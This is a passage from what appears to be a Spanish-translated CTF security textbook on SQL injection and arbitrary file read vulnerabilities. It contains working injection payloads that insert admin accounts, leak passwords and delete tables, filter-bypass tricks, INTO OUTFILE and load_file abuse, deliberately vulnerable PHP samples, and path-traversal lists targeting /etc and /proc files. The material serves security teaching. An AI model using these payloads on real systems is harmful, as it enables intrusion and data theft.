El punto de inyección se encuentra en tbl_name. Si puedes comentar las declaraciones posteriores con un carácter de anotación, puedes insertar datos específicos directamente en la tabla deseada, como la tabla de administradores. Por ejemplo, para la siguiente declaración SQL.
$res = mysqli_query($conn, "INSERT INTO {$_GET['table']} VALUES (2,2,2,2)");
El desarrollador espera controlar el valor de la tabla como wp_news para insertar registros en la tabla de noticias. Dado que podemos controlar el nombre de la tabla, podemos acceder a http:// 192.168.20.132/insert.php?table=wp_user values(2,‘newadmin’,‘newpass’)%23 y ver la  Figura 1.49 para la tabla wp_user antes y después de acceder al contenido. Se insertó un nuevo registro de administrador en la tabla.
El punto de inyección se encuentra en VALUES. Supongamos la siguiente declaración SQL. INSERT INTO wp_user VALUES(1, 1, 'ubicación controlable');"

Puedes cerrar la comilla simple e insertar otro registro. Por lo general, el administrador y el usuario regular están en la misma tabla.
La declaración de inyección es la siguiente.
INSERT INTO wp_user VALUES(1, 0, '1'), (2, 1, 'aaaa');
Se puede insertar un usuario administrador si el segundo campo de la tabla de usuarios representa la bandera de privilegio de administrador. En algunos casos, también podemos insertar datos en un campo que se puede mostrar al usuario para obtener los datos rápidamente. Suponiendo que los datos del último campo se mostrarán en la página, la contraseña del primer usuario se puede inyectar utilizando la siguiente declaración.
INSERT INTO wp_user VALUES(1, 1, '1'), (2, 2, (SELECT pwd FROM wp_user LIMIT 1));

1.2.2.3 Inyección en UPDATE. La declaración UPDATE se utiliza para actualizar registros en la base de datos, como cuando los usuarios modifican sus artículos, información personal, etc. La sintaxis de la declaración UPDATE es la siguiente.

UPDATE [LOW_PRIORITY] [IGNORE] table_reference SET assignment_list [WHERE where_condition] [ORDER BY ...] [LIMIT row_count]
valor: 





{expr | DEFAULT}
asignación: col_name = value
lista_de_asignaciones: asignación [, asignación] ...

Por ejemplo, tomemos un caso en el que el punto de inyección está después de SET. Una declaración de actualización normal se muestra en la Figura 1.50, y puedes ver que los datos de id en la línea 2 de la tabla original wp_user han sido modificados.
Cuando los datos de id son controlables, es posible modificar varios campos de datos, como sigue: UPDATE wp_user SET id=3, user='xxx' WHERE user = '23';
Los métodos para explotar el resto de los puntos de inyección son similares a los métodos de inyección de declaraciones SELECT.

Inyección DELETE. La mayoría de las inyecciones DELETE ocurren después de la palabra clave WHERE. Supongamos que la declaración SQL es la siguiente.
$res = mysqli_query($conn, "DELETE FROM wp_news WHERE id = {$_GET['id']}");

El propósito de la declaración DELETE es eliminar todos los datos de una tabla o las filas especificadas. Inyectar el parámetro id hará que la condición después de WHERE sea verdadera, lo que resultará en la eliminación de todos los datos de wp_news, como se muestra en la Figura 1.51
Para asegurarse de que no haya interferencia con los datos normales, es común utilizar el método 'and sleep(1)' para asegurarse de que la condición de WHERE sea falsa, evitando que la declaración se ejecute correctamente, como se muestra en la Figura 1.52.

Inyección y Defensa. Esta sección cubrirá defensas comunes y varias formas de eludirlas, centrándose en proporcionar a los lectores ideas para eludirlas.

Sustitución de Caracteres. Para defenderse contra la inyección SQL, algunos desarrolladores simplemente reemplazan o bloquean solicitudes con palabras clave como SELECT y FROM


Filtrar espacios. Además de los espacios, se pueden sustituir %0a, %0b, %0c, %0d, %09, %a0 (todos codificados en URL, %a0 solo está disponible en ciertos conjuntos de caracteres) y combinaciones /**/, paréntesis, etc. por espacios en el código. Supongamos que el código fuente PHP es el siguiente.
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$id = $_GET['id'];
echo "antes de reemplazar id: $id";
$id = str_replace(" ", "", $id); // Eliminar espacios
echo "después de reemplazar id: $id";
$sql = "SELECT title, content FROM wp_news WHERE id=" . $id;
$res = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>". $row['title']." </h1>";
echo "<br>";
echo "<h1>". $row['content']." </h1>";
echo "</center>";
?>
La consulta SQL falla utilizando la carga útil anterior (ver Figura 1.53) porque el espacio se elimina y el título no se muestra en la página. Reemplaza el espacio en la carga útil con "%09". El resultado se puede ver en la Figura 1.54.
Filtrar SELECT. En el caso de reemplazar SELECT con nulo, puedes usar una forma anidada, como SESELECTLECT, que es filtrada y luego se cambia nuevamente a SELECT.
$id = str_replace(" ", "", $id);
Reemplazar con
$id = str_replace("SELECT", "", $id);

Visita http://192.168.20.132/replace.php?id=-1%09union%09selselectect%091,2 y observa la Figura 1.55 para ver los resultados."

Coincidencia de mayúsculas y minúsculas. En MySQL, las palabras clave no distinguen entre mayúsculas y minúsculas, por lo que si solo se encuentra la palabra "SELECT", se puede evadir fácilmente utilizando mayúsculas y minúsculas mixtas, como "sEleCT".

Coincidencia regular. La palabra clave de coincidencia regular "\bselect\b" se puede evadir utilizando algo como "/ !50000select/", como se muestra en la Figura 1.56.
Comillas simples o dobles reemplazadas, olvidaste la barra diagonal invertida. Cuando se encuentran los siguientes puntos de inyección.
$sql = "SELECT * FROM wp_news WHERE id = 'controlable 1' AND title = 'controlable 2'"
Las siguientes declaraciones se pueden construir para evadir el filtro.
$sql = "SELECT * FROM wp_news WHERE id = 'a' AND title = 'OR sleep(1)#'"
La barra diagonal invertida del primer punto controlable escapa la comilla simple predefinida por el punto controlable 1, lo que hace que el punto controlable 2 escape la comilla simple, como se muestra en la Figura 1.57.

Como se puede ver, sleep() se ejecutó correctamente, lo que indica que el Punto Controlado 2 ha escapado con éxito de las comillas. Se puede obtener información sensible mediante la inyección UNION, como se muestra en la Figura 1.58."

Escape de comillas. El punto crítico para la inyección SQL es el escape de comillas, y a menudo los desarrolladores utilizan la función "addslashes" para la entrada del usuario a nivel global, es decir, agregar barras invertidas a caracteres como comillas simples, barras invertidas, etc., como cambiar "'" a "'". En este caso, la inyección SQL puede no parecer existir, pero aún puede romperse bajo ciertas condiciones.

Codificación y Decodificación. Los desarrolladores a menudo utilizan funciones de decodificación como urldecode, base64_decode o funciones de encriptación/desencriptación personalizadas. Cuando el usuario ingresa la función addslashes, los datos se codifican y las comillas no pueden ser escapadas, y si la entrada se combina directamente con la declaración SQL después de la decodificación, puede producirse una inyección SQL. La inyección de bytes amplios es un caso clásico de inyección causada por la conversión de conjunto de caracteres. Los lectores interesados pueden consultar los documentos relevantes para obtener más información.

Puntos de entrada inesperados. Por ejemplo, en PHP, el desarrollador generalmente olvida variables como el nombre del archivo cargado, el encabezado HTTP y $_SERVER['PHP_SELF']. Por lo tanto, no hay filtros para estas variables, lo que lleva a inyecciones.

Inyección secundaria. La causa raíz de la inyección secundaria es que el desarrollador confía en que los datos obtenidos de la base de datos son inofensivos. Supongamos que la tabla de datos actual se muestra en la Figura 1.59 y el nombre de usuario 'admin'or'1' ingresado por el usuario se escapa como 'admin'or'1', por lo que la declaración SQL es.

INSERT INTO wp_user VALUES(2, 'admin'or'1', 'alguna_contraseña');"

En este punto, dado que las comillas están escapadas y no se genera ninguna inyección, los datos se almacenan normalmente, como se muestra en la Figura 1.60.

Sin embargo, cuando se utiliza este nombre de usuario nuevamente (generalmente para la información de sesión), se muestra el siguiente código.
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT username FROM wp_user WHERE id=2");
$row = mysqli_fetch_array($res);
$name = $row["username"];
$res = mysqli_query($conn, "SELECT password FROM wp_user WHERE username='$name'");
?>

Cuando el nombre se combina en la declaración SQL, se convierte en la siguiente declaración SQL para generar una inyección SQL.
SELECT password FROM wp_user WHERE username = 'admin' or'1';

Truncación de cadenas. En posiciones de encabezado, título, etc., los desarrolladores pueden limitar los encabezados a no más de 10 caracteres, más allá de los cuales se truncarán. Por ejemplo, el código PHP es el siguiente.
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$title = addslashes($_GET['title']);
$title = substr($title1, 0, 10);
echo "<center>$title</center>";
$content = addslashes($_GET['content']);
$sql = "INSERT INTO wp_news VALUES(2, '$title', '$content')";
$res = mysqli_query($conn, $sql);
?>

Supongamos que un atacante ingresa 'aaaaaaaaa'', que se convierte automáticamente en 'aaaaaaaaa'' debido a la limitación de longitud de caracteres, lo que escapa las comillas simples anteriores para que puedan ser inyectadas en el lugar del contenido. Vamos a usar el método de inyección en los VALORES e ir a http://192.168.20.132/insert2.php?title=aaaaaaaaa'&content=,1,1),(3,4, (select%20pwd%20from%20wp_user%20limit%201),1)%23, podrás ver que se han agregado dos filas a la tabla de datos wp_news, como se muestra en la Figura 1.61.

1.2.4 Impactos de la Inyección. Hemos cubierto los conceptos básicos de la inyección SQL y las formas de eludirla, ¿cuáles son los impactos de la inyección? A continuación, se resume la experiencia del autor en el campo.
• Si tienes permisos de escritura, puedes usar INTO OUTFILE o DUMPFILE para escribir directamente en un directorio web o escribir en un archivo y luego combinarlo con un archivo que incluya vulnerabilidades para lograr la ejecución de código, como se muestra en la Figura 1.62.
Usa la función load_file() para leer el código fuente y la información de configuración con permisos de lectura de archivos para acceder a datos sensibles.
• Elevar privilegios, obtener usuarios de mayor nivel o privilegios de administrador, evitar inicios de sesión, agregar usuarios, ajustar permisos de usuario, etc., para tener más funcionalidad de administración en el sitio web objetivo.
Controlar el contenido de archivos como plantillas, cachés, etc., para obtener permisos o eliminar o leer archivos críticos específicos mediante la inyección de datos de consultas a la base de datos.

Controlar toda la base de datos, incluidos datos arbitrarios, longitudes de campos arbitrarios, etc., cuando se pueden ejecutar múltiples declaraciones.
• Se pueden ejecutar comandos del sistema directamente en una base de datos como SQL Server.
1.2.5 Resumen de la Inyección SQL. Esta sección solo presenta algunos de los puntos más directos del CTF, mientras que la competencia real combinará muchas características y funciones. Los desafíos de inyección MySQL pueden utilizar una variedad de métodos de filtrado, y debido al servidor SQL en la implementación, incluso la misma función se puede implementar de diversas formas, y los desafíos incluirán características que no se utilizan comúnmente. Luego, para resolver los desafíos o comprender mejor los principios de la inyección SQL, es crucial buscar información relevante según los diferentes tipos de servidores SQL, descubrir qué métodos de fuzzing filtran caracteres, funciones, palabras clave, etc., buscar alternativas en el documento que tengan la misma función pero no contengan palabras clave de filtrado, y finalmente eludir las defensas relevantes.
Algunas plataformas como sqli-labs (https://github.com/Audi-1/sqli-labs) ofrecen desafíos de inyección con diferentes niveles de filtrado, abarcando la mayoría de los puntos del desafío. Practicando y resumiendo, siempre podemos encontrar las combinaciones necesarias para resolver los desafíos en la competencia.
Vulnerabilidad de Lectura de Archivos Arbitrarios. La llamada vulnerabilidad de lectura de archivos significa que el atacante puede leer el archivo en el servidor que el desarrollador no permite que el atacante lea a través de algún medio.
Desde la perspectiva de todo el proceso de ataque, a menudo se utiliza como un método suplementario poderoso para la recopilación de información de activos, diversos archivos de configuración del servidor, claves almacenadas en forma de archivos, información del servidor (incluida la información sobre los procesos que se están ejecutando), comandos históricos e información de red, código fuente de aplicaciones y programas binarios son espiados por los atacantes en el punto de activación de esta vulnerabilidad.
Las vulnerabilidades de lectura de archivos a menudo significan que el servidor del atacante está a punto de ser completamente controlado por el atacante. Por supuesto, si el servidor se implementa estrictamente según las especificaciones estándar de seguridad, incluso si existen vulnerabilidades de lectura de archivos explotables en la aplicación, es difícil que un atacante obtenga información valiosa. Las vulnerabilidades de lectura de archivos existen en casi todos los lenguajes de programación en los que se pueden implementar aplicaciones web. Por supuesto, la "existencia" aquí no es esencialmente un problema del propio lenguaje, sino una omisión causada por la insuficiente consideración del desarrollador de situaciones inesperadas durante el desarrollo.
En términos generales, los desarrolladores de frameworks o middleware de aplicaciones web están muy preocupados por la
reutilización del código, por lo que la definición de algunas interfaces API es muy abierta para dar la máxima libertad posible a los desarrolladores secundarios. En situaciones reales, muchos desarrolladores confían demasiado en el mecanismo de seguridad implementado por el framework de aplicación web o la capa de middleware durante el desarrollo secundario, y confían imprudentemente en el mecanismo de seguridad del framework de aplicación y middleware sin una comprensión cuidadosa del mecanismo de seguridad. Se utiliza documentación simple de API para el
desarrollo. Desafortunadamente, los desarrolladores de frameworks o middleware de aplicaciones web pueden no indicar los principios de implementación específicos de las funciones de API, el rango de parámetros aceptables y problemas de seguridad predecibles en la documentación.
La base de código reconocida por la industria generalmente se llama "wheels" (ruedas), y los programas pueden reducir significativamente el trabajo repetitivo utilizando estas "ruedas". Si hay vulnerabilidades en la "rueda", el código de la "rueda" se reutilizará repetidamente por los
programadores múltiples veces al mismo tiempo, y las vulnerabilidades también se transmitirán de nivel en nivel. Con la constante referencia al código de la "rueda" subyacente, los riesgos de seguridad en el código de la "rueda" son casi invisibles para los desarrolladores en la parte superior de la "cadena de llamadas".
También es un desafío importante para el personal de seguridad rastrear pacientemente la cadena de llamadas hacia atrás hasta su causa raíz a medida que profundizan en las vulnerabilidades del framework de aplicaciones web
Además, existe una vulnerabilidad de lectura de archivos arbitrarios que los desarrolladores no pueden controlar a través del código. La vulnerabilidad en esta situación a menudo se debe a problemas del servidor web o a una configuración de servidor insegura. El mecanismo principal de operación del servidor web es leer archivos de código o recursos del servidor y luego transferir los archivos de código al intérprete o programa CGI para su ejecución, y luego enviar los resultados de ejecución y los archivos de recursos al usuario cliente. Los archivos que existen en él son propensos a
ser intervenidos por atacantes, lo que resulta en una lectura no intencionada de archivos y en el uso incorrecto de archivos de código como archivos de recursos.
1.3.1 Puntos Comunes de Disparo para Vulnerabilidades de Lectura de Archivos. 1.3.1.1 Lenguajes de Aplicaciones Web. Diferentes lenguajes web tienen diferentes puntos de activación para las vulnerabilidades de lectura de archivos.
Esta sección toma diferentes vulnerabilidades de lectura de archivos web como ejemplos para presentar los escenarios de vulnerabilidad específicos
PHP. La parte sobre la lectura de archivos en las funciones estándar de PHP no se introducirá en detalle. Estas funciones incluyen, pero no se limitan a: f i le_get_ contents(), f i le(), funciones fopen() (y funciones de manipulación de punteros de archivo fread(), fgets(), etc.), funciones relacionadas con la inclusión de archivos (include(), require(), include_once(), require_once(), etc.) y ejecutar comandos del sistema para leer archivos a través de PHP (system(), exec(), etc.). Estas funciones son muy comunes en aplicaciones PHP, por lo que durante todo el proceso de auditoría de código PHP, los auditores se centrarán en estas funciones




Algunos lectores podrían tener preguntas. ¿Por qué los desarrolladores pasan datos de entrada dinámicamente a estas funciones tan peligrosas como parámetros? Esto se debe a que la tecnología de desarrollo de PHP en la actualidad tiende cada vez más hacia un modo de entrada única, multidimensional y
multicanal, lo que implica llamadas intensivas y frecuentes entre archivos PHP.
Para escribir funciones de archivo con alta reutilización, el desarrollador necesita pasar cierta información dinámica (como la parte dinámica del nombre del archivo) a esas funciones (ver Figura 1.63). Si no se utilizan declaraciones de bifurcación como switch para controlar los datos de entrada dinámicos en la entrada del programa, es fácil que un atacante inyecte rutas maliciosas, logrando así la lectura arbitraria de archivos o incluso la inclusión arbitraria de archivos.
Además de las funciones de la biblioteca estándar mencionadas anteriormente, muchas extensiones comunes de PHP también proporcionan funciones que pueden leer archivos. Por ejemplo, la extensión php-curl, módulos de PHP que involucran operaciones de acceso a bases de datos (extensiones relacionadas con bases de datos, extensiones relacionadas con imágenes), módulo XML que podría llevar a XXE, etc. No hay muchos desafíos CTF que utilicen funciones de bibliotecas externas para leer archivos arbitrarios. Los capítulos siguientes analizarán los desafíos involucrados con ejemplos.


A diferencia de otros lenguajes, PHP permite a los usuarios especificar que el archivo abierto no es una simple ruta sino un flujo de archivos. Podemos entenderlo como un conjunto de protocolos proporcionados por PHP.
Por ejemplo, después de ingresar http://host:port/xxx en el navegador, puedes solicitar el archivo correspondiente en el servidor remoto a través de HTTP. En PHP, hay muchos protocolos con diferentes funciones pero formas similares, que se llaman colectivamente "Wrapper".
El protocolo más típico es el protocolo php://. Más interesante aún es que PHP proporciona una interfaz para que los desarrolladores escriban envoltorios personalizados (stream_wrapper_register).
Además de Wrapper, otro mecanismo único en PHP es el Filtro, cuya función es realizar un procesamiento específico en el envoltorio actual (como cambiar el contenido del flujo de archivos actual a mayúsculas).
Para los envoltorios personalizados, Filter requiere que los desarrolladores se registren a través de stream_filter_register. Además, algunos envoltorios incorporados en PHP vendrán con filtros, como el protocolo php://. Hay filtros del tipo que se muestra en la Figura 1.64.
La función Filter de PHP nos brinda muchas comodidades para leer archivos arbitrarios. 
Supongamos que el parámetro de ruta de la función include en el lado del servidor es controlable; por lo general, analizará el archivo objetivo como un archivo PHP. Si el archivo analizado contiene etiquetas PHP como "<?php", el contenido dentro de la etiqueta se ejecutará como código PHP.
Si pasamos directamente el nombre de archivo de este archivo que contiene código PHP a la función include, el código PHP no se filtrará en forma de texto visible porque se ejecuta como código PHP. Sin embargo, esto se puede evitar utilizando el Filtro en este momento.
Por ejemplo, el Filtro relacionado con Base64 puede codificar el flujo de archivo en la forma de Base64 para que no haya etiquetas PHP en el contenido del archivo leído. Más grave aún es que si la opción de inclusión remota de archivos allow_url_include está habilitada en el servidor, podemos ejecutar directamente código PHP remoto.
Por supuesto, estos Wrapper y Filter que PHP carga por defecto se pueden deshabilitar a través del archivo php.ini. Se recomienda leer el código fuente de PHP sobre Wrapper y Filter para comprender mejor el contenido relevante.
En los problemas del mundo real que enfrentamos con la inclusión de archivos PHP, podemos encontrarnos con tres situaciones: La ruta del archivo es controlable en el frente y no controlable en la parte posterior; La ruta del archivo es controlable en la parte posterior y no controlable en el frente; La ruta del archivo es controlable en el medio.


En el primer caso, puedes usar "\x00" para la truncación en versiones más antiguas de PHP y contenedores, y la codificación URL correspondiente es “%00”. Cuando hay una función de carga de archivos en el servidor, también puedes usar el protocolo zip:// o phar:// para incluir directamente el archivo y ejecutar el código PHP.
En el segundo caso, podemos usar la combinación de símbolos "../" para la navegación de directorios y leer directamente el archivo, pero en este caso, no se puede usar Wrapper. Si el servidor usa la función include u otras funciones para la inclusión de archivos, no podremos leer el código PHP en el archivo.
El tercer caso es similar al primer caso, pero no se puede usar Wrapper para la inclusión de archivos.

En Python, a diferencia de PHP, las aplicaciones web tienden a iniciar sus servicios a través de sus módulos y luego presentan toda la aplicación web al usuario con servicios intermedios y de proxy. La interacción entre el usuario y la aplicación web en sí incluye solicitudes de archivos de recursos del servidor, lo que facilita la lectura inesperada de archivos.
Como resultado, vemos muchas vulnerabilidades de lectura arbitraria de archivos en marcos de Python debido a la falta de un estándar unificado para la interacción de archivos de recursos. Las vulnerabilidades se encuentran a menudo en la sección del marco que solicita un archivo de recurso estático, es decir, la función open que lee el contenido del archivo al final, pero a menudo son causadas por desarrolladores de marcos que ignoran las características de las funciones de Python, como os.path.join().
Muchos desarrolladores determinan que la ruta pasada por el usuario no contiene un punto (“.”) para asegurarse de que el usuario no atraviese el directorio al leer recursos, y luego sustituyen los datos de entrada del usuario en el segundo parámetro de os.path.join, pero si el usuario pasa "/", aún es posible atravesar hasta el directorio raíz, lo que causará la lectura de cualquier archivo.
Además de los problemas en el marco de Python, muchas aplicaciones que involucran operaciones de archivos también pueden causar lectura arbitraria de archivos debido al uso indebido de la función open y la representación incorrecta de plantillas. Por ejemplo, algunos datos ingresados por el usuario se almacenan en el servidor como
parte del nombre de archivo (comúnmente utilizado en servicios de autenticación o servicios de registro), y los datos de entrada del usuario procesados también se utilizan como índice para buscar archivos relacionados en la parte de obtención del contenido del archivo. Esto le da al atacante una manera de realizar la navegación de directorios.

En competencias en línea de CTF, los desarrolladores de Python pueden llamar a un módulo de descompresión inseguro para descomprimir archivos comprimidos, lo que puede llevar a la navegación de directorios después de que los archivos sean descomprimidos. Por supuesto, el peligro de la navegación de directorios al descomprimir archivos es sobrescribir archivos existentes en el servidor.


Otra situación es cuando el atacante construye un enlace simbólico y lo coloca en el paquete comprimido. El contenido descomprimido apuntará directamente al archivo correspondiente en el servidor. 
Cuando el atacante accede al archivo de enlace descomprimido, el enlace devolverá el contenido correspondiente del archivo. Esto se analizará en detalle en los capítulos siguientes. Al igual que en PHP, algunos módulos de Python pueden leer archivos con XXE.

Además, las vulnerabilidades de inyección de plantillas y deserialización en Python también pueden causar lectura arbitraria de archivos en cierta medida. Por supuesto, el daño más significativo sigue siendo la ejecución arbitraria de comandos.
Java: Además de la lectura de archivos causada por la función FileInputStream o los resultados XXE, algunos módulos de Java también admiten el protocolo “file://”, que es donde se lee cualquier archivo en aplicaciones Java. Ejemplos de esto son la vulnerabilidad de lectura arbitraria de archivos en Spring Cloud Config Server (CVE-2019-3799), la vulnerabilidad de lectura arbitraria de archivos en Jenkins (CVE-2018-1999002), entre otros.
Ruby: Las vulnerabilidades de lectura arbitraria de archivos en Ruby suelen estar asociadas con el marco Ruby on Rails en competencias CTF en línea. Algunas vulnerabilidades conocidas son la Ejecución Remota de Código en Ruby on Rails (CVE-2016-0752), Travesía de Directorio y Lectura de Archivos Arbitraria en Ruby on Rails (CVE-2018-3760), y Travesía de Directorio y Lectura de Archivos Arbitraria en Ruby on Rails (CVE-2019-5418).
Node: Hasta el momento, se sabe que el módulo express de Node.js tiene una vulnerabilidad de lectura arbitraria de archivos (CVE-2017-14849), pero el autor no ha encontrado desafíos relevantes de CTF al respecto. Las vulnerabilidades de lectura de archivos en Node en CTF suelen estar relacionadas con la inyección de plantillas, la inyección de código, etc.

1.3.1.2 Middleware/Servidores Relacionados:
Diferentes middleware/servidores también pueden tener vulnerabilidades de lectura de archivos. Esta sección utiliza vulnerabilidades de lectura de archivos en diferentes middleware/servidores como ejemplos para introducir.

Nginx: Las vulnerabilidades de lectura de archivos en archivos de configuración causadas por malas configuraciones de Nginx se encuentran con frecuencia en competiciones CTF en línea, especialmente cuando se utilizan con aplicaciones web en Python. Esto se debe a que Nginx generalmente se considera la mejor implementación de proxy inverso para aplicaciones Python-Web. Sin embargo, su archivo de configuración puede causar problemas graves si se configura incorrectamente. Por ejemplo:

location /static { alias /home/myapp/static/;
}

Si el archivo de configuración contiene la opción de configuración mencionada anteriormente, es probable que el mantenimiento o los desarrolladores deseen que el usuario acceda al directorio estático (generalmente un directorio de recursos estáticos). Sin embargo, si la ruta web solicitada por el usuario es /static./, al concatenarla en el alias se convierte en /home/myapp/static/../, lo que resultará en una travesía de directorio, creando una vulnerabilidad de travesía de directorio que llega al directorio myapp. En este punto, un atacante puede descargar archivos de código fuente y archivos de bytecode de Python a voluntad. Nota: La vulnerabilidad se debe a la ausencia de la restricción "/" al final de la ubicación, lo que permite que Nginx 
haga coincidir la ruta "static" y luego concatene el resto en un alias. /static.../, Nginx no lo considera una travesía entre directorios, sino que lo trata como un nombre completo de directorio.

Base de datos: Muchas bases de datos pueden realizar operaciones de lectura de archivos, por lo que tomemos MySQL como ejemplo. La función load_file() de MySQL puede leer un archivo, pero la lectura de un archivo con la función load_file() primero requiere una configuración de base de datos con permisos de ARCHIVO (que generalmente tiene el usuario raíz de la base de datos) y, en segundo lugar, requiere que el usuario/grupo de MySQL que ejecuta la función load_file() tenga permisos de lectura en el archivo objetivo (muchos de estos archivos de configuración son legibles por todos los grupos/usuarios), y los sistemas Linux principales también requieren que AppArmor configure una lista blanca de directorios (por defecto, la lista blanca se restringe a los directorios relacionados con MySQL), lo cual es "mucho trabajo".
A pesar de estas estrictas condiciones de explotación, a menudo nos encontramos con desafíos de lectura de archivos en competencias CTF en línea.

Existe otra forma de leer un archivo, pero a diferencia de la función de lectura de archivos load_file(), esto requiere ejecutar la declaración SQL completa, es decir, load data infile. Nuevamente, esto requiere privilegios de ARCHIVO, pero es raro, porque excepto en el caso particular de ataques SSRF en MySQL, hay muy pocos casos en los que se pueda ejecutar directamente la declaración SQL no básica completa.

Enlaces simbólicos: El comando bash ln -s 
crea un archivo de enlace simbólico al archivo especificado y luego sube el archivo de enlace simbólico al servidor. Cuando solicitamos acceder nuevamente al archivo vinculado, solicitamos el archivo al que apunta en el servidor.

FFmpeg: En junio de 2017, se descubrió una vulnerabilidad de lectura arbitraria de archivos en FFmpeg. Se mostró un desafío en línea CTF en la competencia CISCN (ver https://www cnblogs.com/iamstudy/articles/2017_quanguo_ctf_web_writeup.html para los writeups), que explotó esta vulnerabilidad.
Docker-API: La Docker-API puede controlar el comportamiento de Docker, generalmente comunicándose a través de sockets UNIX pero también comunicándose directamente a través de HTTP. Cuando nos encontramos con una vulnerabilidad SSRF, especialmente si podemos comunicarnos con sockets UNIX a través de la vulnerabilidad SSRF, podemos manipular la Docker-API para cargar archivos locales en un nuevo contenedor Docker para su lectura (utilizando las operaciones ADD y COPY de Docker).

Relacionados con el Cliente: También 
existen vulnerabilidades de lectura de archivos en el lado del cliente, principalmente basadas en vulnerabilidades XSS para leer archivos locales.

Navegador/Flash XSS: En general, muchos navegadores deshabilitan las operaciones JavaScript relacionadas con la lectura de archivos locales, como solicitar un sitio web remoto, si su código JavaScript utiliza el protocolo File para leer archivos locales del cliente, lo que puede fallar debido a la estrategia de mismo origen.
Sin embargo, las operaciones en el proceso 
de desarrollo del navegador pueden eludir estas medidas, como una vulnerabilidad de lectura de archivos locales del lado del cliente en Safari, descubierta en agosto de 2017.

Analizador de Sintaxis de Markdown XSS: Similar a XSS, los analizadores de Markdown también tienen cierta capacidad para analizar JavaScript. Sin embargo, la mayoría de estos analizadores no restringen las operaciones de lectura de archivos locales como lo hacen los navegadores y rara vez tienen salvaguardias similares a la estrategia de mismo origen.
Rutas Comunes para las Vulnerabilidades de Lectura de Archivos 1.3.2.1 Linux: 1. Nombre de la bandera (ruta relativa): Durante las competencias CTF, a veces necesitamos adivinar o probar el nombre real del archivo de bandera. Por favor, ten en cuenta los siguientes nombres de archivo y sufijos, y toma tus propias decisiones de acuerdo con la información del desafío y el entorno del desafío.

.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /f l ag(.txt|.php|.
pyc|.py...) /f l ag(.txt|.php|.pyc|.py ...) f l ag(.txt|.php|.pyc|.py ...) [dir_you_know]/f l ag(.txt|.php|.pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/f l ag(.txt|.
php|.pyc|.py) /etc/f l ag(.txt|.php|.pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /tmp/f l ag (.txt|.php|.pyc|.py...)

... /f l ag(.txt|.php|.pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /root/f l ag(.txt|.php|.
pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /home/f l ag(.txt|.php|.pyc|.py) /home/f l ag(.txt|.php|.pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /home/[user_you_know /home/ [user_you_know]/f l ag(.txt|.php|.pyc|.py ...)

información del servidor (ruta absoluta): A continuación se presenta una lista de partes comunes de las competencias en línea de CTF que debes conocer. Se recomienda que
el lector repase estos archivos después de leer este libro y aprenda sobre los archivos comunes que no se enumeran.
(1) Directorio /etc: El directorio /etc contiene principalmente varios archivos de configuración de aplicaciones o del sistema, por lo que sus archivos son los objetivos principales para la lectura de archivos.
(2) Archivo /etc/passwd: El archivo /etc/passwd es un archivo del sistema Linux que almacena información de usuario y su directorio de trabajo, es legible por todos los usuarios/grupos y generalmente se utiliza como punto de referencia para determinar la
existencia de vulnerabilidades de lectura de archivos en un sistema Linux. La lectura de este archivo nos dice qué usuarios existen en el sistema, a qué grupos pertenecen y cuál es su directorio de trabajo.
(3) Archivo /etc/shadow: /etc/shadow es un archivo del sistema Linux que almacena información de usuario y (posiblemente) contraseñas (hash). Solo el usuario/grupo root puede escribir en este archivo y ningún usuario puede leerlo excepto el usuario root/shadow, por lo que generalmente no es legible en competencias CTF.
(4) /etc/apache2/: /etc/apache2/ son los 
archivos de configuración de Apache que te permiten obtener información sobre los directorios web, los puertos de servicio, etc. Algunos desafíos CTF requieren filtrar la ruta web.
(5) /etc/nginx/: /etc/nginx/ son los archivos de configuración de Nginx (en sistemas como Ubuntu) que te permiten obtener información sobre los directorios web, los puertos de servicio, etc.
(6) /etc/apparmor(.d)/: /etc/apparmor(.d)/ es el archivo de configuración de Apparmor que se puede utilizar para obtener una lista blanca o lista negra de llamadas al sistema para cada aplicación. Por ejemplo, puedes leer el archivo de configuración para ver si las llamadas al sistema están deshabilitadas por MySQL y así determinar si puedes usar UDF (Funciones Definidas por el Usuario) para ejecutar comandos del sistema.

(7) /etc/(cron.d/|crontab): /etc/(cron.d/|crontab) son archivos de cron. Algunos desafíos CTF configurarán servicios de cron y la lectura de estos archivos de configuración revelará directorios ocultos u otros archivos.
(8) /etc/environment: /etc/environment es uno de los archivos de configuración de variables de entorno. Las variables de entorno pueden filtrar mucha información de directorios e incluso puede filtrarse una clave secreta.
(9) /etc/hostname: /etc/hostname representa
el nombre del host.
(10) /etc/hosts: /etc/hosts es una tabla estática de búsquedas de nombres de host que contiene información sobre pares de direcciones IP para un dominio dado. Con este archivo, los jugadores CTF podrían obtener información de red e IPs/dominios de intranet.
(11) /etc/issue: /etc/issue especifica la versión del sistema.
(12) /etc/mysql/: /etc/mysql/ son los archivos de configuración de MySQL.
(13) /etc/php/: /etc/php/ son los archivos de configuración de PHP.
(14) Directorio /proc: El directorio /proc generalmente almacena información variada sobre el funcionamiento dinámico de los procesos y es esencialmente un directorio virtual. Nota: Si visualizas la información de un proceso que no es el actual, entonces el PID puede ser obtenido por fuerza bruta. Si deseas ver el proceso actual, solo necesitas reemplazar /proc/[pid]/ por /proc/self/.
El archivo cmdline en el directorio correspondiente puede leer información más sensible, por ejemplo, al iniciar sesión en MySQL usando mysql -uxxx -pxxxx se mostrará la contraseña en texto plano en el archivo cmdline.
/proc/[pid]/cmdline (apunta al comando de terminal correspondiente al proceso): A veces no podemos obtener el directorio actual de la aplicación para saltar directamente al directorio actual con el comando cwd.

/proc/[pid]/cwd/ (points to the running directory of the process)
Puede haber una secret_key en la variable de entorno, que también se puede leer desde el environ.
/proc/[pid]/environ (variables de entorno que apuntan al tiempo de ejecución del proceso) (15) Otros Directorios Puede haber otras rutas al archivo de configuración de Nginx.
